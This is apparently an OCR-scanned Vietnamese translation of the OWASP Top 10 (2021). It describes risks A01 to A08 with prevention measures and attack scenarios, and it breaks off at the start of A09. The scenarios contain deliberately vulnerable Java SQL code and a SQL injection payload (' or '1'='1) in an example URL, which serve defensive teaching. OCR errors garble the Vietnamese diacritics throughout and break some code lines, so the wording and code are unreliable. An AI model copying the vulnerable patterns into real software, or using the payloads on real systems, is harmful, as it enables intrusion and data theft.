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1. AO1 — Broken Access Control
1.1. MO ta

Thuce thi kiém soat truy cap nham ngin ngudi dung khong thé thuc hién cac hanh
dong nam ngoai quyén dugc phép cua ho. Cac 15 hong lién quan thuong dan dén tiét 1,
stra d6i thdng tin trai phép, pha huy tat ca dix liéu hoic thuc hién chirc ning nghiép vu nam
ngoai giGi han cia ngudi dung. Céc 16 hong kiém soét truy cap pho bién gom:

- Vi pham nguyén tic “tdi thiéu dic quyén’ hodc ‘mic dinh tir chdi’, quyén truy cap
chi nén duoc cap cho cac nguoi dung cé vai tro hoac kha nang cu thé va kiém soat mot
cach chat ché.

- C6 the co qua kiem tra kiém soét truy cap thong qua viéc sira doi URL, sira doi cac
trang thai tng dung noi bo, sira doi trang HTML hoac bang cach sir dung cong cu tan cong
dé stra doi cac request API.

L5 hong nay co thé’cho’phép xem hogc chinh stra tai khoan cua ngudi khac thong qua
ma dinh danh (tham chiéu doi tugng truc tiép khéng an toan)

Nguyén nhan 16 hong nay do thiéu kiém soéat truy cap doi vai cac API sir dung phurong
thac POST, PUT va DELETE.

L& hong nay ¢ lién quan dén leo thang quyén, vi du: Thuc hién cac hanh dong nhu
nguoi dung [da dang nhap] ma khdng can dang nhap hoic hanh dong nhu quan tri vién
trong khi dang nhap véi tu cach nguoi dung thuong.

Khai thac 15 hong thong qué sira doi metadata, vi du nhu phat lai hoac gia mao JSON
Web Token (JWT) hoac cookie hodc truong an, dé leo thang quyéen hoac v hiéu hda JWT.

L6 hong c6 the do cau hinh CORS khéng chinh xéac cho phép truy cap API tir céc
nguon trai phép hoac nguon khong tin cay.

Truy cap (force browsing) dén céac trang duoc Xac thuc (authenticated pages) trong

khi nguoi dung chua dugc xac thuc hodc dén cac trang dac quyén (chang han céc trang
danh cho quan tri vién) véi tu cach la nguoi dung thuong (standard user).

1.2. Phuwong phadp ngdn chan

Kiém soéat truy cap, kiém soét nay chi hiéu qua khi thuc hién & ma ngudn tng dung
(code) phia may chu.

Trir c4c tai nguyén cong cong, khdng cho phép truy cap dén cac phan khac theo mic
dinh.

Trién khai cac co ché kiém soat truy cap mot 1an va sir dung lai chiing trong toan bo
ung dung, bao gom viéc giam thiéu Chia sé tai nguyén gitra cdc bén (CORS).

MG hinh kiém soét truy cap nén tuan theo record ownership (quyén s¢ hitu doi tugng)
thay vi cho phép nguoi dung c6 thé tao, xem, cap nhat hoac xda bat ky record nao.



Phan tach cac nghiép vu ttng dung khac nhau theo mé hinh mién (domain model).

V0 hiéu hoa danh sach thu muc may cha web va dam bao tép metadata (vi du: .git)
va cac tép sao luu khong dat trong thu muc web root.

Ghi log céc 151 kiém soét truy cap va canh bao cho quan tri vién trong trudng hop bat
thuong (vi du: cac loi lap lai).

Thiét 1ap han ché cho cac API va kiém soéat truy cap dé giam thiéu tac hai tir cong cu
tan cong tu dong.

V6 hiéu hda ma xac thuc (stateful session identifiers) trén may cha sau khi dang xuét.
Cac ma xac }huc khéngvtrang t‘héi JWT nén thiét l1ap thoi gian ton tai ngan hoac tuan theo
cac tiéu chuan OAuth dé thu hoi quyén truy cap.

Céc nha phat trién va nha kiém dinh chét luong nén trién khai kiém soét truy cap doi
v&i moi chire nang va thuc hién cac bai kiém tra tich hop.

1.3. Céc kich ban tén cong

Kich ban 1: Ung dung st dung dit liéu chwa duoc xac minh trong cau lénh SQL ding
dé truy cap thong tin tai khoan:

pstmt.setString(1, request.getParameter("acct™));
ResultSet results = pstmt.executeQuery( );

Ké tan cong chi can sira d6i tham s6 'acct' cia trinh duyét dé truy van dén bt ky s6
tai khoan nao ching muon. Néu khong dugc xac minh chinh xac, ké tan céng co thé truy
cap vao tai khoan cua bat ky nguoi dung nao.

https://example.com/app/accountinfo?acct=notmyacct

Kich ban 2: Ké tan cong diéu husng trinh duyét dén cac URL muyc tiéu. Quyén quan
tri duoc yéu cau deé truy cap vao trang quan tri.

https://example.com/app/getappinfo
https://example.com/app/admin_getappinfo

Néu mét nguoi dung chua dugc Xac thuc c6 thé truy cap vao mot trong hai trang hoic
mot ngudi khdng phai quan tri vién co thé truy cap vao trang quan tri, d6 la 10 hong cua
ung dung.

2. A02 - Cryptographic Failures

2.1. M6 ta

Piéu dau tién 1a xac dinh nhu cau bao vé cua dir liéu dang dugc st dung boi hé thng.
Vi du: mat khau, sé thé tin dung, hd so stic khoe, thong tin ca nhan va cac bi mat kinh doanh
can duoc bao vé thém, phan 16n dit liéu néu nd tuan theo luat bao mat, vi du: quy dinh chung
vé bao mat dir liéu cia EU (GDPR) hoic cac quy dinh nhu quy dinh bao vé dit liéu tai chinh,
vi du: Tiéu chuan bao mat dit liéu PCI (PCIL DSS). Ddi vai tat ca cac dir liéu nhu vay:



C6 dir liéu nao dugc truyén duéi dang van ban rd khéng? Diéu nay lién quan dén cac
giao thirc nhw HTTP, SMTP, FTP ciing sir dung cac nang cip TLS nhu STARTTLS. Tat
ca luu lwong truy cap tir bén ngoai internet déu 1a nguy hiém. Xéac minh tat ca luu luong
truy cap noi b, vi du: giira cac bo can bang tai, may chu web hoic hé théng back-end.

C6 bét ky thuat toan mé héa hodc giao thir cii hoac yéu nao duoc st dung theo mac
dinh hoac trong mé nguon cii hon khong?

C6 phai cac khoa mat ma mic dinh dang duogc sir dung, cac khda mat ma yéu dugc
tao ra hoac str dung lai hay khdng hoac viéc xoay vong hoac quan ly khoa thich hop c6 bi
thieu khong? Céc khéa mat ma c6 dugc kiem tra bén trong ma nguon khéng?

Ma héa c6 dugc trien khai khong, vi du: c6 bat ky chi thi bao mat trén tiéu de HTTP
nao bi thiéu khéng?

Chuing chi caa may chu da nhan va viéc xac minh chudi tin cay co6 duoc thuc hién
ding cach khong?

Cac gi4 tri Initialization vectors (goi tit 1a V) c6 bi bo qua, st dung lai hodc khong
duoc tao du an toan cho céc ché do hoat dong khéng? Ché do hoat dong khong an toan nhur
ECB c¢6 dang dugc st dung khong? Ma hoéa thong thuong c¢6 dugc st dung khi mé héa
dugc xac thuc thich hop hon khéng?

Mat khau cé duogc sir dung lam khéa mat ma khi khéng c6 chire niang dan xuét khoa
tor mat khau?

Tinh ngu nhién dugc s dung cho cac muc dich ma hoa c6 dugc thiét ké dap ung
c4c tiéu chuan mat ma khong? Ngay ca khi chirc ning chinh xac dugc chon, nd ¢é can phai
duoc nha phat trién dua vao hay khéng, va néu khong, nha phét trién da viét lai chtc nang
seeding manh duoc tich hop vao né véi mot seed thiéu hn loan/khdng thé doan truée hay
khong?

Céc ham bdm khong dung nita nhu MDS5 hodc SHA1 c6 dang dugc su dung hay cac
ham bam khong an toan c6 dugc st dung khi can cac ham bam mat ma khéng?

Céc phuong phéap cryptographic padding khong dung nira nhu PKCS s6 1 va v1.5 c6
duoc st dung khong?

Céc théng bao I’Si mat ma hoic thong tin kénh bén c6 thé khai thac duoc khdng, chang
han nhu duéi dang tan cong padding oracle?

2.2. Phwong phap ngan chdan

Thuc hién t6i thiéu nhitng diéu sau va tham khao cac tai liéu tham khao:
Phan loai dit liéu dang duoc tng dung xt 1y, luu trit hoic truyén di. Xéc dinh dit liu
nao nhay cam theo luat bao mat, yéu cau quy dinh hoac nhu cau kinh doanh.
~ Khong luu tri¥ di liéu nhay cam mot cach khang can thiét. Loai bo n6 cang sém cang
tot hoac su dung ma hoéa tu,én tha PCI DSS hoac tham chi la cat bot. Dir liéu khong duoc
gitr lai khdng thé bi danh cap.



Dam bao ma hda tat ca dir liéu nhay cam ¢ trang thai nghi.

DPam bao c6 sin cac thuat toan, giao thirc va khéa tiéu chuian manh mé va duoc cap
nhat mai nhat; st dung quan ly khéa phu hop.

M4 héa tat ca dir li¢u dang truyén bang cac giao thirc an toan nhu TLS v6i mat ma
bao mat chuyen tiep (FS), uu tién mat md cua may chu va cac tham so an toan. Thyc thi
mé& hoa bang cach sir dung cac 1énh nhu HTTP Strict Transport Security (HSTS).

T4t bo nhé dém cho céc phan hdi ¢ chia dit liéu nhay cam.
Ap dung céc bién phap kiém soat bao mat bat budc theo phan loai dit liéu.
Khéng str dung cac giao thire cit nhuw FTP va SMTP dé van chuyén dir liéu nhay cam.

Luu trir mat khau bang cach sir dung cac ham bam c6 sir dung satl va thich tng manh
vai hé so cong viéc (hé so tre), chang han nhu Argon2, scrypt, berypt hoac PBKDF2.

Céc Initialization vectors (goi tat 1a 1V) phai dugc chon pht hop véi ché do hoat dong.
Dbi vai nhiéu ché do, diéu nay c6 nghia 1a st dung CSPRNG (bo tao sé ngau nhién gia an
toan bang mat ma). Di vai cac ché do yéu cau nonce, thi IV khong can CSPRNG. Trong
moi trudng hop, IV khéng bao gi¢ duoc st dung hai 1an cho mét khéa ¢ dinh.

Lubn str dung ma hoa dugc xac thuc thay vi chi mé hoa.

Céc khoa phai duoc tao mat 7mé mot cach ngau nhién va dugc luu trir trong b53 nhp
dudi dang mang byte. Néu mat khau dugc sir dung, thi mat khau dé phai dugc chuyén doi
thanh khéa thdng qua chire nang dan xuat khoa co sé¢ mat khau thich hop.

Pam bao rang tinh ngau nhién cua mat ma duoc sir dung khi thich hop va né khong
duogc tao ra theo cach co th§ du doan duogc hoac voi entropy thap. Hau hét cac API hién dai
khong yéu cau nha phat trién phai khoi tao CSPRNG dé c6 dugc bao mat.

Tranh cac ham mat ma khdng dung nita va cac luoc dd dém, chang han nhu MD5,
SHAL, PKCS phién ban 1 v1.5.

Xac minh doc 1ap tinh hiéu qua cua ciu hinh va cai dat.

2.3. Céc kich bdn tén cong

Kich ban 1: Mot tng dung ma hda s6 thé tin dung trong co s& dir liéu bang cach sir
dung ma hoa co so dir liéu te dong. Tuy nhién, di liéu nay sé tu dong dugc giai mé khi
duoc truy xuit, cho phép maot 15 hong SQL injection truy xuat sé thé tin dung & dang vin
ban rd rang.

Kich ban 2: Trang web khong str dung hoic khong bét budc sir dung TLS véi tit ca
cac chirc nang hoic hd trg ma hda yéu. Ké tan cong c6 thé giam sat traffic mang, ha cap
két ndi tir HTTPS sang HTTP dé c6 thé can thiét vao cac request qua d6 danh cap cookie
ctia nguoi dung dé tai sir dung chiém phién dang nhap cua ngudi dung. Thay vi lam nhirng
viéc trén thi ké tn cong cd thé can thiép vao tat ca céc dit liéu trong qué trinh truyén tai.



Kich ban 3: Co so dit liéu mat khau st dung cac ham bam don gian hoic ham bam
khong c6 salt dé Iuu trir mat khau cua nguoi dung. Mot 15 hdng bao mat khac cho phép ké
tan cong liy duoc co s dir liéu mat khau, cac mat khau duoc luu trir bang cac ham bam
yéu hoic khdng dung salt co thé dugc bé khoa bang GPUs.

3. A03 — Injection
3.1. Mo ta

Mgt ieng dung dwroc danh gid la ton tai 16 hong khi:

Dix liéu tir phia ngudi dung khong duoc loc, kiém tra hodc xu i loai bo phan doc hai
bai tng dung.

Céc lénh goi truy van dong hoic khong duoc tham sb hoa dugc sir dung truc tiép
trong cac trinh théng dich ma khong dugc xir ly loai bo doc hai.

Dir liéu doc hai dugc sir dung trong cac tham s6 tim kiém cuia anh xa quan h¢ doi
tuong (ORM) dé trich xuat cac ban ghi nhay cam, bo sung.

Dit liéu doc hai duoc sir dung truc tiép hoic ndi chudi. Cac truy van dong, thu tuc luu
trir SQL hoac command chira céc cau tric dir liéu doc hai.

Mot s6 dang 16 hdng injection phd bién SQL, OS command, Object Relational
Mapping (ORM), LDAP va Expression Language (EL), trong duong vai Object Graph
Navigation Library (OGNL). Khai niém nay la giong nhau giira c4c trinh thdng dich. Ra
soat ma nguon la cach tét nhat dé xac dinh mot tng dung c6 kha nang ton tai 16 hong
injection hay khéng. Tu dong hoé cong viéc kiém thir cac dit liéu dau vao tir tham sd,
headers, cookies, JSON, SOAP va XML. C4c 6 chirc 6 diéu kign, nén sir dung céc tng
dung, cong cu kiém ther 15 hong tinh (SAST), dong (DAST) va tuong tac (IAST) dé kiém
thir cac 16 hong trudc khi trién khai san pham vao thuc té.

3.2. Phwong phap ngan chan
Ngin chin 16 hong injection yéu cau phai dam bao dit lidu duoc tach biét vai truy van
va command:

Phuong phap dugce ua thich la st dung cac safe API, cung cap chirc nang tham s6 hoé
hoac giam thiéu kha nang ton tai cia I6 hong Object Relational Mapping Tools (ORMs).

Luu y: Cho di da tham s6 hod, stored produres van c6 thé ton tai 16 hong SQL
injection néu PL/SQL hoac T-SQL noi truy van va dir liéu doc hai va thuc thi thu tuc bang
EXECUTE IMMEDIATE hoac ham exec().

Thuc hién loc, kiém tra va xur I loai bo dir ligu doc hai & phia may chu. Bay duoc coi
12 phuwong phap khong triét dé vi nhiéu ung dung van yéu cau céac ki tu dic biét nhu ving
van ban hoac API cho tng dung di dong.

Escape cac ki tu dac biét trude khi dua vao trinh thong dich truy van hozc Iénh



Luu y: Khong thé escape cac cau trac SQL nhu tén bang, tén cot, v.v., va do do, cac
chirc nang cho phép ngudi ding cung Cap tén cau tric thudng rat nguy hlem bay la mot
van dé thuong gap trong phan mém viét bao cao.

Str dung LIMIT va céc Iénh diéu khien SQL khéc trong céc truy van dé ngan chan 19
lot hang loat cac ban ghi trong truong hop bi tan céng SQL injection.

3.3. Céc kich bdn tdn cong

Kich ban 1: Mot tng dung str dung dit liéu khong déng tin trong truy van t6i SQL:

String query = "SELECT S e = e S
request.getParameter("id") + "™

Kich ban 2: Tuong tu trén, m(f)t g dung qua tin twdng vao mot frameworks cé the
dan déen 16 hong SQL injections:

Query HQLQuery = session.createQuery("FROM accounts WHERE custiD="" +
request.getParameter("id") +"");

Trong ca hai truong hop, ké tan cong c6 thé chinh sira tham sé “id” thanh  or <1°="1.
Vi du:

http://example.com/app/accountView?id="or '1'='1

Diéu nay thay doi y nghia ciia ca hai truy van dé tra vé tat ca cac ban ghi tir bang
‘accounts’. Cac cudc tan cong nguy hiém hon c6 thé sira doi hoic xda dit liéu hoic tham
chi goi céc thu tuc dugc luu trir.

4. A04 - Insecure Design
4.1. M0 ta

~ Thiét ké khong an toan la mot pham trii rong mo ta cho cac diém yéu khac nhau, dugc

hiéu 1a “thiet ke thieu kiém soat hoac khéng hiéu qua”. Sai sot trong thiet ke va sai sot
trong trién khai c6 nguyén nhan va cach khac phyc khac nhau. Mot thi€t ke an toan van c6
thé ¢ céc loi trien khai dan dén cac 16 hong co thé bi khai thac. Mt thiet ké khdng an toan
khong thé duoc sua chira chi bang cach trién khai.

Quadn ly cac yéu cdu va tai nguyén

Thu thap cc yéu cau vé hoat dong kinh doanh cho mét img dung, céc yéu cau bao vé
lién quan den tinh bao mat, tinh toan ven, tinh san c6 va tinh x4c thuc cua tat ca cac tai san
dix liéu va logic du kien trong kinh doanh. Lap ke hoach va tinh toan ngan sach bao gom tat
ca cac hoat dong thiét ke, xay dung, thir nghiém va van hanh, va ca cac hoat dong bao mat.

Thiét ké an toan

Thiét ké an toan l1a mot vian hoa va phuong phap danh gi lién tuc cac mdi de doa va
dam bao rang mé (code) duoc thict ké va thur nghiém day dua dé ngan chan cac phuong
phap tan cong da biet. M6 hinh moi de doa (Threat modeling) nén dugc tich hgp vao chu



trinh phat trién phan mém. Phan tich cac gia dinh va diéu kién cho cac ludng hoat dong du
kien, dam bao ching van chinh xac trong bat ky truong hop nao. Ghi lai cac van dé tu
nguoi dung, va thay doi phu hop dé cai thién hoat dong bao mat cuaa hé thong.

Vong doi phat trién an toan

Hay lién h¢, trao ddi voi cac chuyén gia bao mat cua ban tir khi bat dau mot du an
phan mém cho den khi két thuc du an va ca trong qua trinh bao tri phan mém.

4.2. Phwong phdp ngan chan

Thiét 1ap va st dung vong doi phat trién an toan clng véi cac chuyén gia ATTT dé
giup danh gia va thiét ké cac bién phap kiém soat lién quan dén quyen riéng tu va bao mat

Thiét 1ap va sir dung thu vién cac mau thiét ké an toan.

Str dung m6 hinh moi de doa doi vai cac xac thuc quan trong, kiem soat truy cap,
logic nghiép vu va cac luong chinh.

Tich hop kiém tra tinh hop Iy cua dit liéu (tir frontend dén backend)
Viét cac bai kiém tra dé kiém tra cac ludng quan trong.

Téch céac phan cua hé thdng va cac 16p mang tly thudc vao nhu cau hoat dong cua
ung dung.

Phén tach ngudi ding mot cach chat ché theo thiét ké ¢ tat ca cac tang

Han ché tai nguyén dugc sir dung cua ngudi ding hoac dich vu

4.3. Céac kich bdn tdn cong

Kich ban 1: Quy trinh khoi phuc thdng tin xac thuc thong qua “cau haéi va cau tra

161 1a khong dang tin cay. Thiét ké nhu vay nén duoc loai bo va thay thé bang mot thiét
ké an toan hon.

Kich ban 2: Trang web thuong mai dién tir cia mot chudi ban 1é khong cé bién phap
bao vé chong lai c&c bot te dong mua thé video cao cap dugc giam gia dé ban lai & cac
trang web khac.

Céc quy tic thiét ké vé logic dé chdng bot can dugc xem xét ky ludng, vi du céc giao
dich mua duogc thyc hién qué nhanh trong vong vai gidy, can tir choi cac giao dich nay.

5. A05 — Security Misconfiguration
51 Mobta
Mot ing dung c6 thé bi tin céng néu ung dung dé:

Thiéu céc bién phap bao mat tang cudng cho cac phan khac nhau cua ung dung hoic
thiet 1ap phan quyén khong chinh xac doi vai cac dich vu cloud.



Céc tinh nang khong can thiét duoc bat hodc cai dat (vi du: cong, dich vy, trang
(page), tai khoan hoac dac quyén khdng can thiét).

Céc tai khoan va mat khau mic dinh van dugc kich hoat hozc khong thay doi
Théng bao 13i 1am 16 lot qué nhiéu thong tin dén ngudi dung

~ Khi néng cip hé thong, céc tinh ndng bao mat méi nhat bi tit hogc khong dwgce dinh
cau hinh an toan.

Cau hinh bao mat cia may cha tng dung, cic framework (nhu Struts, Spring,
ASP.NET), thu vién, co s& dir liéu véi cac gia tri co tinh bao mat kém (vi du nhu qua nhan,
de doan)

Cau hinh header véi cac gia tri khdng an toan

Phan mém 13i thoi hoic ton tai 16 héng (tham khao thém AO06-Vulnerable and
Outdated Components)

Déi vi céc (g dung khong dugc ra soat c4c cAu hinh thuong xuyén va day du, nguy
co mat an toan doi véi tng dung do s€ cang cao hon.

5.2. Phwong phap ngan chan

Céc bién phap dé cau hinh (ing dung an toan, bao gom:

Xay dung quy trinh tricn khai tng dung dong b¢ trén cac moi treong khac nhau. Cau
hinh méi truong trong qud trinh phét trien, kiém tra va trién khai san pham nén duogc xay
dung tuong tu nhau, vai cac théng tin xac thuc dugc thay doi. Qua trinh nay gilp viéc thiét
lap moi treong Mai nhanh chong va an toan hon.

~ Gidi han quyen toi thiéu d6i véi cac chirc nang, thanh phan, tai ligu,.. hoac loai bo
neu khong can thiét

Viéc xem xét va cap nhat cac cau hinh phii hop véi tat ca cc ghi chi bao mat, ban
cap nhat va ban va la mét phan caa quy trinh quan ly ban va (tham khao thém tai A06 -
Vulnerable and Outdated Components). Kiém tra quyén do6i vai cac dich vu cloud storage
(vi du: S3 bucket).

Kién trdc tng dung can dam bao sy phan tach hiéu qua va an toan giir cac thanh phan
(ACL5s)

Guri chi thi bao mat cho may khach, vi du: Security Headers.

Mot quy trinh tu dong dé xac kiém tra tinh hiéu qua caa cac cau hinh va cai dat trong
mMoi mai truong.

5.3. Céc kich bdn tén cong

Kich ban 1: Ung dung duoc trién khai véi cac chie nang co san khong duoc cau hinh

chat ch&. Cac chirc ning nay ton tai cac 16 hdng ma ké tan cong c6 thé dung dé tan cong
ung dung. Vi du nhu trang quan tri danh cho quan tri vién vai tai khoan mac dinh khéng



dugc thay doi. Ké tan cdng c6 thé ding nhap vei tai khoan méc dinh va thuc hién cac hanh
dong tan cong vao hé thong.

Kich ban 2: Liét ké thu muc (Directory listing) khong dwoc tat trén may chu @ng
dung. Ké tan cdng c6 thé phat hién ra 16 hong ndy mot cach don gian. Ké tin cong tim va
tai xudng cac Java classes da dugc bién dich, va sir dung k¥ thuat dich ngugc dé xem ban
code ban dau. Sau d6, ké tin cong tim dwgc mot 156 hong nghiém trong vé kiém soét truy
cap cua tng dung

Kich ban 3: Cau hinh tng dung tra cac thdng béo 13i chi tiét dén nguoi dung gay 16
lot thOng tin nhay cam nhu cac path, phién ban Gng dung,...

Kich ban 4: Mot nha cung cap cac dich vu dam may (Cloud service provider- CSP)
méc dinh cai dat quyen truy cap dit liéu cua nguoi dung la cong khai. Dieu nay s& khien
cac dir liéu nhay cam co0 thé bi 19 lot.

6. A06 — Vulnerable and Outdated Components
6.1. M0 ta

Céc kha nang dé dan dén rui ro vé ATTT:

Khi khong c6 day du thong tin phién ban cua cac thanh phan dang dugc su dung (ca
phia may khach va phia may chu). bicu nay bao gom cac thanh phan truc ti€p st dung
cling nhu cac thanh phan phu thugc.

_ Khi phan mém dé bj tan cong, khong duoc ho trg hogc 16i thoi. Dieu ndy bao gom hé
diéu hanh, may chu web/frng dung, hé quan tri co s¢ dir lieu (DBMS), tng dung
(applications), API, thanh phan (components), thu vién va runtime environments.

~ Khikhong quét 16 hong thuong xuyén va dang ky nhan cc ban tin bao mat lién quan
den céc thanh phan dang str dung.

Khi khodng sira 15, cap nhat hoic nang cip nén tang (platform), frameworks va
dependencies mot cach kip thoi va dua trén rai ro. Piéu nay thuong xay ra trong cac moi
truong khi va 15i 12 nhiém vy hang thang hodc hang quy dudi su kiém soat thay doi, khién
cac to chirc ¢6 thé bi anh huong bai cac 16 hong di biét trong nhiéu ngay hoac nhiéu thang.

Khi nha phat trien phan mém khang kiém tra kha nang twong thich cia céc thur vién
duoc cap nhat, nang cap hoac ban va.

Khi khong bao mat cdu hinh cua cac thanh phan dang sir dung (xem A05: 2021).

6.2. Phwong phap ngdan chan

Can mét quy trinh quan ly ban va dé:

Loai bo céc phan phu thugc (dependencies) khdng sir dung, céc tinh nang, thanh phan,
tép va tai liéu khong can thiét.



Lién tuc kiém tra cac phién ban cua ca thanh phan phia may khéach va phia may chu
(vi du nhu framework, thu vién) va cac phan phu thudc (dependencies) cua ching bang
cach str dung céac cdng cu nhu kiém tra phién ban, OWASP Dependency Check, retire.js,....
Lién tuc theo ddi cac ngudn théng tin vé CVE hay Co sé dit liéu vé 15 hdng bao mat quéc
gia (NVD) cho céc 15 hong trong cac thanh phan. Sir dung céc cong cu phan tich dé tu dong
hoa quy trinh. Dang ky nhan théng béo qua email vé céac 15 hdng bao mat lién quan dén céc
thanh phan dang st dung.

Chi sir dung cac thanh phan tir cac nguon chinh thirc va qua céc lién két an toan. Uu
tién cac goi (packages) da duge ky dé giam nguy co chira thanh phan doc hai hogc bi swa
doi (Xem A08).

Giam sat cac thu vién va thanh phan khong con dugc hd trg hoac khdng co cac ban
va bao mat cho céc phién ban cti hon. Néu khong thé va 16 hong, hdy xem xét trién khai
mot ban va ao dé theo ddi, phat hién hoac bao vé chong lai su co da phat hién.

Moi to chtrc phai dam bao mot ké hoach lién tuc dé theo ddi, phan loai va ap dung
cac ban cap nhat hodc thay doi cau hinh trong suot thoi gian ton tai cua ng dung hoac
danh muc st dung.

6.3. Cac kich ban tédn cong

Kich bén 1: Céc thanh phan thuong chay véi dac quyen tuong duong véi tng dung
chinh, vi vay sai st trong bat ky thanh phéan nao ciing c6 thé dan dén tic dong nghiém
trong. Nhirng sai s6t c6 thé la do ngau nhién (vi du: 16i 1ap trinh) hodc co y (vi du:
backdoor trong moét thanh phan). Mét so vi du vé 16 hong trong thanh phan c6 thé khai
thac dugc phat hién la:

CVE-2017-5638, mét 16 hong thuc thi ma tir xa trong Struts 2 cho phép thuc thi ma
tuy y trén may chu.

Céc 16 hong trén thiét bj IoT thuong khé hogic khdng thé va 161, nhung tam quan trong
cua viéc va chung co thé rat 16n (vi du: thiet bi y sinh).

Hign nay c6 céc cong cu ty dong dé gilp nhiing ké tan cong tim thay cac hé thong
chua dugc v@ hoac cau hinh sai. Vi du: cong cu tim ki@m Shodan c6 thé giup ban tim thay
cac thict bi ton tai 10 hong Heartbleed da dugc cong bo vao thang 4 nam 2014.

7. AQ7 — Identification and Authentication Failures

7.1. M0 ta

Xéc nhan danh tinh, x4c thuc va quan ly phién cua nguoi dung rat quan trong dé bao
V¢ trudC cac cudc tan cong lién quan den xac thuc. Co thé ton tai cac diem yeu xac thuc
néu ung dung:

Cho phép cac cudc tan cong ty dong nhur “nhoi nhét thong tin Xac thuc”, trong d6 ké
tan cong co6 danh sach tén tai khoan va mat khau hop 1€.



Cho phép tan cdng vét can (Brute Force) hoic cac tan cong tu dong khéc.

Cho phép sir dung cac mat khau mic dinh, yéu hoic phé théng, vi du nhu
“Password1” hoac “admin/admin”

Str dung cé&c quy trinh khéi phuc thong tin ding nhap, quén mat khau yéu hoic khong
hiéu qua, vi du nhu “Cau hoi bao mat” khong an toan.

Su dung kho dfx licu mat khau dudi dang vin ban thé (plain text), dwgc ma hda, hoic
mat khau hashed yeéu.

Xac thuce da yéu t6 bi thiéu hodc khong hiéu qua.
Hién thi dinh danh phién dang nhap trén URL.
Str dung lai dinh danh phién dang nhap sau khi dang nhap thanh cong.

Khong vo hiéu hoa dung cach cac IDs phién dang nhap. Phién dang nhap ngudoi dung
hoac ma thdng bao xac thuc (authentication tokens) (chu yéu 1a thong bao ding nhap 1 lan
(SS0)) khdng bi v6 hiéu héa dung cach trong qua trinh dang xuat hoic sau mot khoang
thoi gian khdng hoat dong.

7.2. Phwong phap ngdn chan

Néu cd thé, trién khai xac thuc da yéu té dé ngan chin cac cudc tan cong tu dong nhoi
nhét thong tin dang nhap, tan céng vét can, va cac cudc tan cong tai sir dung thong tin dang
nhap bi danh cap.

Tuyét ddi khong gui hoac trién khai véi bat ky thng tin dang nhap méc dinh nao,
dac biét doi véi nguoi dung quan tri.

Thyc hién kiém tra mat khau yéu, vi du nhu kiém tra mat khau méi hogc da thay doi
vai danh sach 10,000 mat khau kém nhat.

Diéu chinh d¢ dai, do phuc tap va cac chinh sach xoay vong mat khau theo huéng
da?m cua Vién Tiéu chuan va Céng nghé Quoc gia (NIST — M¥) 800-63b trong muc 5.1.1
vé “Memorized Secrets or other modern, evidence-based password policies™.

Dam bao cac duong dan ding ky, khoi phuc théng tin xac thuc va API dugc ting
cuong chong lai cac cudc tan cong liét ké tai khoan bang cach sir dung céc théng bao giong
nhau cho tat ca cac ket qua.

Han ché hoic tang tri hodn qua cac 1an dang nhap khong thanh cong, nhung can than
dé khdng tao ra tinh hudng DoS. Ghi nhat ky tat cac cac dang nhap khéng thanh cong va
canh bao cho quan tri vién khi phat hién hanh vi nhdi nhét théng tin xac thuc, tan cong vét
can, hoac cac cudc tan céng khac

Sir dung trinh quan Iy phién tich hop, an toan, phia may cha tao 1D phién ngau nhién
mai voi entropy cao sau khi dang nhap. Gia tri nhan dang phién khong duoc co trong URL,
duoc luu trit an todn va bi vo hiéu hoa sau khi dang xuat, khdng hoat dong hoic hét thoi
gian cho tuyét doi.



7.3. Céc kich bdn tén cong

Kich ban 1: Nhéi nhét théng tin xéac thuc, sir dung danh sach cac mat khau da biét,
la mot cude tin coéng phd bién. Gia sa mot ang dung khong trién khai bao vé chong nhoi
nhét thdng tin xac thuc hoic de doa tin cdng tu dong. Trong trudng hop dé, ung dung c6
thé dugc sir dung nhu mot do doan mat khau dé xac dinh xem thdng tin xac thuc c6 hop 1é
hay khong.

Kich ban 2: Hau hét cac cudc tan cong xac thuc xay ra do viéc tiép tuc st dung mat
khau nhu mét yéu té xac thuc duy nhat. Ting duoc coi 1a phuong phép tét nhat, cac yéu
cau vé do phac tap va xoay vong mat khau khuyén khich nguoi ding st dung va tai st
dung mat khau yéu. Theo NIST 800-63, céc to chirc nén dimg cac phuong phap niy va st
dung xac thuc da yéu té.

Kich ban 3: Thoi gian cho cua phién tng dung khong dugc dat chinh xac. Nguoi
ding sir dung may tinh cong cong dé truy cap tng dung thay vi chon “diang xuat”, nguoi
ding chi dong tab trinh duyét va bo di. Mot thoi gian sau, ké tan cong sir dung cing mot
trinh duyét va van dugc xac thuc.

8. A08 — Software and Data Integrity Failures
8.1. M6 ta

Céc 13i vé tinh toan ven caa phan mém va dir liéu lién quan dén viéc cac ma ngudn
va co s¢ ha tang lién quan khong duoc dam bao an toan vé tinh toan ven. Khi mét tng
dung st dung cac plugin, thu vién hoic md-dun tir c&c ngudn, kho luu trit khong dang tin
cay. Nhiing ké tan cong c6 thé ¢ ging tan cong dé tai 1én céc ban cap nhat chira ma doc
hai dé tir d6 tan cong dén céc ung dung st dung cac ban cap nhat nay.

8.2. Phuwong phap ngdn chan

Sir dung chit ky sé hodc céc co ché twong tu dé xac minh phan mém hoic di liéu 1a
tir ding nguon goc va dam bao tinh toan ven.

Pam bao cac thu vién va phan phu thudc, vi du nhu npm hodc Maven, dang str dung
tur cac kho luu trit dang tin cay. Néu ban can dam bao an toan thong tin hon, hay can nhac
st dung mot kho Iuu trir noi bo doi véi cac thu vién da dugc kiem tra,

Ludn kiém tra cac thanh phan phu thudc, dam bao cac thanh phan nay khéng chira
cac loi da biet.

DPam bao riang c6 mot quy trinh xem xét cac thay doi vé ma (code) va ciu hinh dé
giam thieu kha nang ma doc hoac cau hinh cé thé dugc dua vao phan mém cua ban.

Pam bao chu trinh CI/CD duoc ciu hinh va kiém soét truy cap thich hop dé dam bao
tinh toan ven ctia ma (code) chay qua cac quy trinh xay dung va trién khai.

8.3. Cac kich bdn tdn cong



Kich ban 1: Cap nhat ma khdng can ky: Nhiéu bo dinh tuyén trong cac ho gia dinh,
khong xac minh cac ban cap nhat mét cach an toan. Gay ra viéc cai dat cac ban cap nhat
chua ctra hau gay cac rui ro vé an toan théng tin.

Kich ban 2: Cudc tan cong SolarWinds: Cong ty phat trién phan mém di c6 cac quy
trinh dam béoltinh toan ven. Tuy nhién, phan mém cua cong ty nay da bi cai ma doc, cong
ty da phan phoi mot ban cap nhat doc hai téi hon 18.000 t6 chic. Bay 1la mot trong nhiing
vu Vi pham vé an toan thong tin 1én trong lich sur.

9. AQ09 - Security Logging and Monitoring Failures

9.1. M0 tda

Giam sat va ghi nhat ky (tng dung nham gitp phat hién, bao cao va phan tng lai cac
